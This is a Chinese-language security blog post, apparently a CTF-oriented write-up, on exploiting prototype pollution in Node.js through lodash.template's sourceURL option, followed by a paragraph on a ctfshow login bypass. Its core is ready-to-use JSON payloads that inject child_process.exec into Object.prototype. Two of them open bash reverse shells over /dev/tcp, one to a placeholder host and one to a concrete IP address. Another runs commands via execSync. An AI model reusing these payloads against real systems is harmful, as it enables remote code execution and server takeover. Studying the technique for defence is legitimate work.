[WEB/Nodejs]原型链污染中lodash的利用方法分析

lodash.template

显式的lodashs.merge存在原型链污染漏洞,为了对其进行利用,需要找到可以对原型进行修改的逻辑。

optionssourceURL

options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。

Function

相关了解Function构造器(构造函数)

文档:构造函数EJS原型污染RCE分析

JS当中每个函数都是一个Fuction对象, (function(){}).constructor === Function

var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。

sourceURL传递到了Function函数的第二个参数当中,此处可以

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

通过构造chile_process.exec()就可以执行任意代码了

Payload

{"__proto__":
	{
        "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"
    }
}
// bash -c “cmd string” 执行一个命令·		
// 以上PAYLOAD将输出输入反弹到指定的主机端口

以上Payload会产生一个报错,可以使用以下Payload来排除,

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

当然除了常见命令以外,还能构造反弹Shell,因为并不是所有的原型链污染都存在明确的回显,

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}
在Node.js原型链污染是一种安全漏洞,它利用了JavaScript原型继承的特性。通过修改原型链,攻击者可以在目标对象上注入恶意属性或方法。 在提供的引用内容,通过调用`utils.copy(user, req.body)`函数,攻击者可以实现原型链污染。在`copy`函数,遍历`object2`的属性,并将其逐一赋值给`object1`。如果`object1`和`object2`都存在相同的属性,那么就会调用递归函数`copy`来复制这个属性的值。这个过程,如果`object2`的属性也是一个对象,并且在`object1`也存在相同的属性,那么递归调用`copy`函数会继续在这个属性上进行操作。 通过构造特定的恶意输入,攻击者可以将`Object.prototype`的属性或方法注入到 `req.body` 对象。在提供的代码示例,攻击者可以设置 `req.body` 的属性 `secert` 为一个对象,从而使其继承自 `Object.prototype`。这样,`req.body` 对象就获得了 `Object.prototype` 的所有属性和方法,包括 `toString`、`hasOwnProperty`等。进一步,当代码判断 `secert.ctfshow` 等于 `'36dboy'` 时,就会返回`flag`,使得攻击者可以绕过登录验证获取到敏感信息。 因此,通过利用原型链污染,攻击者可以在Node.js应用实现恶意操作,并绕过原本的安全检查。为了防止原型链污染的攻击,开发者应该对输入进行严格的验证和过滤,确保不会接受恶意的输入,并且避免直接使用`Object.prototype`的属性和方法
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值